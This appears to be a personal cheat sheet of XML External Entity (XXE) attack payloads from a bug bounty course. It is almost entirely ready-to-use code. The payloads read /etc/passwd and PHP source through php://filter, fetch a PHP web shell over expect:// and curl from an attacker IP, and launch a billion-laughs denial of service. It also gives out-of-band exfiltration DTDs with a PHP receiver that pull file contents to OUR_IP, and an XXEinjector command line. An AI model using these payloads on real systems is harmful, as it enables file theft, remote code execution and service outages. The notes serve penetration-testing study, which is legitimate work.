> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/exploits/xml-external-entity-xxe.md).

# XML External Entity (XXE)

```
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

<figure><img src="/files/qthAzRJAmA4KsoTrl4zi" alt=""><figcaption></figcaption></figure>

```
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
```

<pre><code>echo '&#x3C;?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

<strong># Victim Machine
</strong>&#x3C;?xml version="1.0"?>
&#x3C;!DOCTYPE email [
  &#x3C;!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
&#x3C;root>
&#x3C;name>&#x3C;/name>
&#x3C;tel>&#x3C;/tel>
&#x3C;email>&#x26;company;&#x3C;/email>
&#x3C;message>&#x3C;/message>
&#x3C;/root>
</code></pre>

<pre><code><strong># DOS attack to the webserver
</strong><strong># It doesn't work anymore in modern web applications
</strong>&#x3C;?xml version="1.0"?>
&#x3C;!DOCTYPE email [
  &#x3C;!ENTITY a0 "DOS" >
  &#x3C;!ENTITY a1 "&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;&#x26;a0;">
  &#x3C;!ENTITY a2 "&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;&#x26;a1;">
  &#x3C;!ENTITY a3 "&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;&#x26;a2;">
  &#x3C;!ENTITY a4 "&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;&#x26;a3;">
  &#x3C;!ENTITY a5 "&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;&#x26;a4;">
  &#x3C;!ENTITY a6 "&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;&#x26;a5;">
  &#x3C;!ENTITY a7 "&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;&#x26;a6;">
  &#x3C;!ENTITY a8 "&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;&#x26;a7;">
  &#x3C;!ENTITY a9 "&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;&#x26;a8;">        
  &#x3C;!ENTITY a10 "&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;&#x26;a9;">        
]>
&#x3C;root>
&#x3C;name>&#x3C;/name>
&#x3C;tel>&#x3C;/tel>
&#x3C;email>&#x26;a10;&#x3C;/email>
&#x3C;message>&#x3C;/message>
&#x3C;/root>
</code></pre>

<pre data-overflow="wrap"><code><strong># Attacker machine
</strong>echo '&#x3C;!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000

<strong># Victim web application
</strong>&#x3C;!DOCTYPE email [
  &#x3C;!ENTITY % begin "&#x3C;![CDATA["> &#x3C;!-- prepend the beginning of the CDATA tag -->
  &#x3C;!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> &#x3C;!-- reference external file -->
  &#x3C;!ENTITY % end "]]>"> &#x3C;!-- append the end of the CDATA tag -->
  &#x3C;!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> &#x3C;!-- reference our external DTD -->
  %xxe;
]>
</code></pre>

<pre><code><strong># Error based XXE
</strong><strong># This will display the error along side with the LFI
</strong><strong># length limitations, and certain special characters may still break it.
</strong><strong># Attacker machine
</strong>subl xxe.dtd
&#x3C;!ENTITY % file SYSTEM "file:///etc/hosts">
&#x3C;!ENTITY % error "&#x3C;!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

<strong># Victim web application
</strong>&#x3C;!DOCTYPE email [ 
  &#x3C;!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>
</code></pre>

<pre><code><strong># Attacker machine
</strong>&#x3C;!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
&#x3C;!ENTITY % oob "&#x3C;!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

<strong># Create a base64 decoder written in php
</strong>&#x3C;?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

<strong># Write the php code above
</strong>vi index.php 
php -S 0.0.0.0:8000

<strong># Victim web application
</strong>&#x3C;?xml version="1.0" encoding="UTF-8"?>
&#x3C;!DOCTYPE email [ 
  &#x3C;!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
&#x3C;root>&#x26;content;&#x3C;/root>

<strong># Then go back to the php web shell terminal and you can now see the file
</strong></code></pre>

<pre><code><strong># To use this tool first we need to save the POST request
</strong>https://github.com/enjoiz/XXEinjector.git
</code></pre>

<figure><img src="/files/Rt8UMI3KCsc4HwXs7pIC" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
ruby XXEinjector.rb --host=10.10.15.45 --httpport=8000 --file=../blind.req --path=/etc/passwd --oob=http --phpfilter
```

{% endcode %}
